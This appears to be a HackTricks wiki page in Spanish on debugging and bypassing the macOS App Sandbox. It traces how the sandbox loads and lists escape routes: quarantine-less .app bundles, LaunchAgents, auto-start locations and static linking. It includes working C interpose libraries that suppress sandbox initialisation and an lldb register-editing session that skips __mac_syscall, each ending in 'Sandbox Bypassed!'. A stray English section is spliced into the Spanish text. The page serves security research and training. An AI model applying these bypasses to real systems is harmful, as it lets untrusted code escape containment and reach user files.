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# macOS Sandbox Debug & Bypass

<details>

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</details>

## Proceso de carga del Sandbox

<figure><img src="../../../../../.gitbook/assets/image (2) (1) (2).png" alt=""><figcaption><p>Imagen de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>

En la imagen anterior es posible observar **cómo se cargará el sandbox** cuando se ejecute una aplicación con el permiso **`com.apple.security.app-sandbox`**.

El compilador vinculará `/usr/lib/libSystem.B.dylib` al binario.

Luego, **`libSystem.B`** llamará a otras varias funciones hasta que **`xpc_pipe_routine`** envíe los permisos de la aplicación a **`securityd`**. Securityd verifica si el proceso debe estar en cuarentena dentro del Sandbox, y si es así, lo pondrá en cuarentena.\
Finalmente, el sandbox se activará con una llamada a **`__sandbox_ms`** que llamará a **`__mac_syscall`**.

## Posibles Bypasses

### Saltándose el atributo de cuarentena

**Los archivos creados por procesos en sandbox** se les añade el **atributo de cuarentena** para evitar que escapen del sandbox. Sin embargo, si logras **crear una carpeta `.app` sin el atributo de cuarentena** dentro de una aplicación en sandbox, podrías hacer que el binario del paquete de la aplicación apunte a **`/bin/bash`** y agregar algunas variables de entorno en el **plist** para abusar de **`open`** y **lanzar la nueva aplicación sin sandbox**.

Esto es lo que se hizo en [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**

{% hint style="danger" %}
Por lo tanto, en este momento, si eres capaz de crear una carpeta con un nombre que termine en **`.app`** sin un atributo de cuarentena, puedes escapar del sandbox porque macOS solo **verifica** el **atributo de cuarentena** en la **carpeta `.app`** y en el **ejecutable principal** (y haremos que el ejecutable principal apunte a **`/bin/bash`**).

Ten en cuenta que si un paquete .app ya ha sido autorizado para ejecutarse (tiene un xttr de cuarentena con la bandera de autorización para ejecutar), también podrías abusar de ello... excepto que ahora no puedes escribir dentro de los paquetes **`.app`** a menos que tengas algunos permisos TCC privilegiados (que no tendrás dentro de un sandbox alto).
{% endhint %}

### Abusando de la funcionalidad de Open

En los [**últimos ejemplos de bypass del sandbox de Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) se puede apreciar cómo la funcionalidad de línea de comandos de **`open`** podría ser abusada para saltarse el sandbox.

{% content-ref url="macos-office-sandbox-bypasses.md" %}
[macos-office-sandbox-bypasses.md](macos-office-sandbox-bypasses.md)
{% endcontent-ref %}

### Agentes/Demonios de Inicio

Incluso si una aplicación está **destinada a estar en sandbox** (`com.apple.security.app-sandbox`), es posible saltarse el sandbox si se **ejecuta desde un LaunchAgent** (`~/Library/LaunchAgents`) por ejemplo.\
Como se explica en [**este post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), si deseas obtener persistencia con una aplicación que está en sandbox, podrías hacer que se ejecute automáticamente como un LaunchAgent e inyectar código malicioso a través de variables de entorno DyLib.

### Abusando de las Ubicaciones de Inicio Automático

Si un proceso en sandbox puede **escribir** en un lugar donde **más tarde se ejecutará el binario de una aplicación sin sandbox**, podrá **escapar simplemente colocando** allí el binario. Un buen ejemplo de este tipo de ubicaciones son `~/Library/LaunchAgents` o `/System/Library/LaunchDaemons`.

Para esto, incluso podrías necesitar **2 pasos**: hacer que un proceso con un **sandbox más permisivo** (`file-read*`, `file-write*`) ejecute tu código que realmente escribirá en un lugar donde se **ejecutará sin sandbox**.

Consulta esta página sobre **Ubicaciones de Inicio Automático**:

{% content-ref url="../../../../macos-auto-start-locations.md" %}
[macos-auto-start-locations.md](../../../../macos-auto-start-locations.md)
{% endcontent-ref %}

### Abusando de otros procesos

Si desde el proceso en sandbox eres capaz de **comprometer otros procesos** que se ejecutan en sandboxes menos restrictivos (o ninguno), podrás escapar a sus sandboxes:

{% content-ref url="../../../macos-proces-abuse/" %}
[macos-proces-abuse](../../../macos-proces-abuse/)
{% endcontent-ref %}

### Compilación Estática y Enlace Dinámico

[**Esta investigación**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descubrió 2 formas de saltarse el Sandbox. Debido a que el sandbox se aplica desde el espacio de usuario cuando se carga la biblioteca **libSystem**. Si un binario pudiera evitar cargarla, nunca sería sandboxeado:

* Si el binario estuviera **completamente compilado estáticamente**, podría evitar cargar esa biblioteca.
* Si el **binario no necesitara cargar ninguna biblioteca** (porque el enlazador también está en libSystem), no necesitaría cargar libSystem.

### Shellcodes

Ten en cuenta que **incluso los shellcodes** en ARM64 necesitan estar vinculados en `libSystem.dylib`:

```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```

### Permisos

Ten en cuenta que incluso si algunas **acciones** pueden estar **permitidas por el sandbox** si una aplicación tiene un **permiso específico**, como en:

```scheme
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]
```

### Bypass de Interposting

Para obtener más información sobre **Interposting**, consulta:

{% content-ref url="../../../macos-proces-abuse/macos-function-hooking.md" %}
[macos-function-hooking.md](../../../macos-proces-abuse/macos-function-hooking.md)
{% endcontent-ref %}

#### Interponer `_libsecinit_initializer` para evitar el sandbox

```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
```

```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```

#### Interponer `__mac_syscall` para evitar el Sandbox

{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
```
{% endcode %}

```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
```

### Depurar y evadir el Sandbox con lldb

Compilaremos una aplicación que debería estar en un sandbox:

```c
#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}
```

El archivo \`entitlements.xml\` contiene los permisos especiales que una aplicación sandboxed puede solicitar al sistema operativo macOS. Estos permisos pueden ser utilizados para realizar operaciones que de otra manera estarían restringidas por las políticas de sandboxing. Es importante revisar cuidadosamente estos permisos para evitar posibles vulnerabilidades de seguridad en la aplicación.

```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
```

### macOS Sandbox Debug and Bypass

#### Debugging the macOS Sandbox

To debug the macOS sandbox, you can use the `sandbox-exec` tool with the `-D` flag to enable debug mode. This will print detailed information about the sandbox operations to the console, helping you understand how the sandbox is restricting your application.

```bash
sandbox-exec -D
```

#### Bypassing the macOS Sandbox

To bypass the macOS sandbox, you can use various techniques such as exploiting vulnerabilities in the sandbox profile, injecting code into a process with sandbox exceptions, or manipulating the sandbox rules.

It's important to note that bypassing the macOS sandbox is a serious security risk and should only be done for research or testing purposes in controlled environments.

```xml
<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>
```

Luego compila la aplicación:

{% code overflow="wrap" %}
```bash
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
```
{% endcode %}

{% hint style="danger" %}
La aplicación intentará **leer** el archivo **`~/Desktop/del.txt`**, lo cual **no permitirá el Sandbox**.\
Cree un archivo allí, ya que una vez que se haya eludido el Sandbox, podrá leerlo:

```bash
echo "Sandbox Bypassed" > ~/Desktop/del.txt
```
{% endhint %}

Vamos a depurar la aplicación para ver cuándo se carga el Sandbox:

```bash
# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
```

{% hint style="warning" %}
**Incluso con el bypass del Sandbox, TCC** le preguntará al usuario si desea permitir que el proceso lea archivos desde el escritorio.
{% endhint %}

## Referencias

* [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
* [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)
* [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)

<details>

<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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